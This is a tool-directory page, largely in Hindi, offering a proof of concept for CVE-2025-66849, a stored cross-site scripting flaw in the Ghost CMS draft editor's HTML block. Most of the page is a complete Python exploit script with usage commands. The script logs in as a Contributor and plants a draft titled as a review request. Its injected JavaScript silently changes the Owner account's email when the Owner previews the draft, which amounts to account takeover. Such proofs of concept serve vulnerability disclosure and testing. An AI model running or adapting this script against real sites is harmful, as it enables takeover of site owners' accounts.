Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-66849 — Ghost CMS विशेषाधिकार वृद्धि PoC | Kitploit
उपकरण/GitHubGitHub/wojtekchwala/cve-2025-66849
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

Ghost CMS विशेषाधिकार वृद्धि PoC

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-66849

Ghost CMS विशेषाधिकार वृद्धि PoC

सारांश

Ghost Foundation Ghost CMS 6.4.0 तक के संस्करणों में, पोस्ट ड्राफ्ट एडिटर के अंतर्गत HTML ब्लॉक उपयोगकर्ता द्वारा प्रदान की गई सामग्री को उचित रूप से सैनिटाइज़ या एन्कोड करने में विफल रहता है, जिसके परिणामस्वरूप एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता उत्पन्न होती है। योगदानकर्ता (Contributor) विशेषाधिकार वाला उपयोगकर्ता एक ड्राफ्ट में मनमाना JavaScript इंजेक्ट कर सकता है, जो स्वामी (Owner) खाते द्वारा देखे जाने पर निष्पादित होता है। इससे हमलावर स्वामी के संदर्भ में विशेषाधिकार प्राप्त कार्य कर सकता है।

भेद्यता अवलोकन

गंभीरता: उच्च

प्रभावित संस्करण: Ghost 6.4.0 (20 अक्टूबर 2025 तक नवीनतम) - Ghost CMS 6.4.0 तक

पुनरुत्पादन के चरण

भेद्यता प्रदर्शित करने के लिए, दो खातों के साथ एक स्थानीय Ghost CMS इंस्टेंस सेट अप करना आवश्यक है:

  1. स्वामी खाता - Ghost इंस्टॉलेशन के दौरान स्वचालित रूप से बनाया गया।

  2. योगदानकर्ता खाता - स्वामी द्वारा एक नए उपयोगकर्ता को आमंत्रित करके बनाया गया। Ghost योगदानकर्ता के ईमेल पते पर खाता सेटअप पूरा करने के लिए एक मैजिक लिंक भेजता है।

चूँकि यह स्थानीय रूप से किया जाता है, MailHog जैसा एक ईमेल-कैप्चरिंग टूल (उदाहरण के लिए Docker के माध्यम से) स्थापित किया जाना चाहिए। यह Ghost द्वारा भेजे गए मैजिक लिंक को स्थानीय रूप से इंटरसेप्ट करने की अनुमति देता है, ताकि योगदानकर्ता स्वयं अपना खाता सक्रिय कर सके।

दोनों खाते सक्रिय होने के बाद, एक्सप्लॉइट स्क्रिप्ट (contributor.py) का उपयोग किया जा सकता है। स्क्रिप्ट को योगदानकर्ता के लॉगिन क्रेडेंशियल्स और उस नए ईमेल पते की आवश्यकता होती है जो सफल शोषण के बाद स्वामी खाते को सौंपा जाएगा।

स्क्रिप्ट पैरामीटर हैं:

root@kitploit:~
-u / --username      Contributor username (email)
-p / --password      Contributor password
-e / --new-email     New email address to be set on the Owner account
--url                Ghost instance URL (optional)

टर्मिनल में स्क्रिप्ट चलाने के लिए उपयोग करें:

root@kitploit:~
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

निष्पादित होने पर, स्क्रिप्ट स्वचालित रूप से एक नया पोस्ट ड्राफ्ट बनाती है जिसमें कमजोर HTML ब्लॉक के भीतर दुर्भावनापूर्ण JavaScript पेलोड होता है।

संग्रहीत XSS को ट्रिगर करने के लिए, स्वामी को केवल ड्राफ्ट का पूर्वावलोकन करना होता है इसे Ghost एडमिन पैनल में खोलकर और “Preview” पर क्लिक करके। इंजेक्ट की गई स्क्रिप्ट स्वामी के विशेषाधिकारों के साथ पृष्ठभूमि में निष्पादित होती है, और स्वामी को सूचित नहीं किया जाता कि उनका ईमेल पता बदल दिया गया है।

root@kitploit:~
import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None

        author_id = self.current_user.get('id')
        owner_id = self.owner_user.get('id')
        owner_slug = self.owner_user.get('slug')
        owner_name = self.owner_user.get('name')

        print(f"\n  Creating post with CONTRIBUTOR as author")
        print(f"  Author ID: {author_id} ({self.current_user.get('name')})")
        print(f"  Target Owner ID: {owner_id}")
        print(f"  Target Owner Slug: {owner_slug}")
        print(f"  Target Owner Name: {owner_name}")

        # HTML content with placeholders
        article_content = """\"><script>
fetch("/ghost/api/admin/users/<id>/?include=roles", {
method: "PUT",
credentials: "include",
headers: {
"accept": "*/*",
"content-type": "application/json",
"x-ghost-version": "6.0",
"app-pragma": "no-cache"
},
body: JSON.stringify({
"users": [
{
"slug": "<slug>",
"id": "<id>",
"name": "<name>",
"email": "<email>",
"profile_image": null,
"cover_image": null,
"bio": null,
"website": null,
"location": null,
"facebook": null,
"twitter": null,
"threads": null,
"bluesky": null,
"mastodon": null,
"tiktok": null,
"youtube": null,
"instagram": null,
"linkedin": null,
"accessibility": null,
"status": "active",
"meta_title": null,
"meta_description": null,
"tour": null,
"comment_notifications": true,
"free_member_signup_notification": true,
"paid_subscription_started_notification": true,
"paid_subscription_canceled_notification": false,
"mention_notifications": true,
"recommendation_notifications": true,
"milestone_notifications": true,
"donation_notifications": true,
"roles": [],
"url": "http://localhost:2368/404/"
}
]
})
});
</script>"""

        # Replace placeholders with actual owner data
        html_content_with_id = article_content.replace("<id>", owner_id)
        html_content_with_id = html_content_with_id.replace("<slug>", owner_slug)
        html_content_with_id = html_content_with_id.replace("<name>", owner_name)
        html_content_with_id = html_content_with_id.replace("<email>", new_email)

        print(f"\n  HTML content prepared (with Owner data injected)")
        print(f"  Target email change: {self.owner_user.get('email')} → {new_email}")

        # Create Lexical content
        lexical_content = self.create_lexical_with_html(html_content_with_id)

        # Prepare post data with Lexical
        post_data = {
            'posts': [{
                'title': title,
                'lexical': lexical_content,
                'status': 'draft',
                'authors': [author_id],
            }]
        }

        if excerpt:
            post_data['posts'][0]['excerpt'] = excerpt

        if tags:
            post_data['posts'][0]['tags'] = [{'name': tag} for tag in tags]

        # Try multiple API approaches
        attempts = [
            {'url': f"{self.api_url}/posts/?source=html", 'data': post_data},
            {'url': f"{self.api_url}/posts/", 'data': post_data},
            {
                'url': f"{self.api_url}/posts/?source=html",
                'data': {
                    'posts': [{
                        'title': title,
                        'lexical': lexical_content,
                        'status': 'draft',
                        'authors': [{'id': author_id}],
                    }]
                }
            },
            {
                'url': f"{self.api_url}/posts/?source=html",
                'data': {
                    'posts': [{
                        'title': title,
                        'lexical': lexical_content,
                        'status': 'draft',
                    }]
                }
            },
        ]

        for i, attempt in enumerate(attempts, 1):
            try:
                print(f"\n  Attempt {i}: {attempt['url']}")
                response = self.session.post(attempt['url'], json=attempt['data'])

                if response.status_code == 201:
                    post = response.json()['posts'][0]
                    print(f"\n✓✓✓ Post created successfully!")
                    print(f"  Title: {post['title']}")
                    print(f"  Post ID: {post['id']}")
                    print(f"  Status: {post['status']}")

                    if 'authors' in post and post['authors']:
                        print(f"  Author: {post['authors'][0].get('name', 'Unknown')}")

                    print(f"  Admin URL: {self.ghost_url}/ghost/#/editor/post/{post['id']}")
                    print(f"\n  ⚠️  Post contains script targeting Owner: {owner_name} ({owner_slug})")
                    print(f"  ⚠️  Email change: {self.owner_user.get('email')} → {new_email}")
                    return response.json()
                else:
                    print(f"  ✗ Status {response.status_code}")
                    print(f"  Response: {response.text}")

            except Exception as e:
                print(f"  ✗ Exception: {str(e)}")

        print(f"\n✗ All attempts to create post failed.")
        return None

    def logout(self):
        """Logout from Ghost session"""
        if self.authenticated:
            try:
                logout_url = f"{self.api_url}/session/"
                self.session.delete(logout_url)
                print("\n✓ Logged out successfully")
            except:
                pass
        self.session.close()


def main():
    parser = argparse.ArgumentParser(
        description='Ghost CMS Stored XSS PoC - Account Takeover via Email Change'
    )
    parser.add_argument('-u', '--username', required=True,
                       help='Ghost username (email)')
    parser.add_argument('-p', '--password', required=True,
                       help='Ghost password')
    parser.add_argument('-e', '--new-email', required=True,
                       help='New email to set for owner account')
    parser.add_argument('--url', default='http://localhost:2368',
                       help='Ghost instance URL')

    args = parser.parse_args()

    # Article details
    article_title = "Review Required: Important Update"
    article_tags = ["review"]
    article_excerpt = "Please review this update at your earliest convenience"

    # Initialize Ghost client
    ghost = GhostCMSSession(ghost_url=args.url)

    # Login
    if not ghost.login(args.username, args.password):
        return

    # Create post with malicious content
    if ghost.current_user and ghost.owner_user:
        ghost.create_post_for_review(
            title=article_title,
            new_email=args.new_email,
            tags=article_tags,
            excerpt=article_excerpt
        )

    # Logout
    ghost.logout()


if __name__ == "__main__":
    main()
टूल डाउनलोड करें